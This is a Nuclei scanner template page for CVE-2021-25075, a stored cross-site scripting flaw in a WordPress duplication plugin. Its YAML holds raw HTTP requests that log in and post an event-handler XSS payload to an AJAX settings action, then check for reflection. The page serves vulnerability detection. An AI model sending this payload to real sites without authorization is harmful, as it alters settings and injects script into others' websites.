Skip to content
Nuclei Templates

WordPress Duplicate Page or Post <1.5.1 - Cross-Site Scripting

ID: CVE-2021-25075

Severity: low

Author: DhiyaneshDK

Tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,authenticated,wpdevart

Description

Section titled “Description”

WordPress Duplicate Page or Post plugin before 1.5.1 contains a stored cross-site scripting vulnerability. The plugin does not have any authorization and has a flawed cross-site request forgery check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing unauthenticated users to call it and change the plugin’s settings, or perform such attack via cross-site request forgery.

YAML Source

Section titled “YAML Source”
id: CVE-2021-25075


info:
  name: WordPress Duplicate Page or Post <1.5.1 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: low
  description: |
    WordPress Duplicate Page or Post plugin before 1.5.1 contains a stored cross-site scripting vulnerability. The plugin does not have any authorization and has a flawed cross-site request forgery check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing unauthenticated users to call it and change the plugin's settings, or perform such attack via cross-site request forgery.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 1.5.1.
  reference:
    - https://wpscan.com/vulnerability/db5a0431-af4d-45b7-be4e-36b6c90a601b
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25075
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25075
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/kazet/wpgarlic
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 3.5
    cve-id: CVE-2021-25075
    cwe-id: CWE-862
    epss-score: 0.00071
    epss-percentile: 0.30442
    cpe: cpe:2.3:a:wpdevart:duplicate_page_or_post:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: wpdevart
    product: duplicate_page_or_post
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,authenticated,wpdevart


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        action=wpdevart_duplicate_post_parametrs_save_in_db&title_prefix=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2fXSS%2f%29+p
      - |
        GET /wp-admin/admin.php?page=wpda_duplicate_post_menu HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "style=animation-name:rotation onanimationstart=alert(/XSS/) p"
          - "toplevel_page_wpda_duplicate_post_menu"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a0046304402205de60273729508c40ee65beabb8cfc205317e0982319f31e829ba2b59fa87614022047c6967fa1d186677f98fa72f762c1914d648c6f1a6465a5e1a6d7747175871b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25075.yaml"

View on Github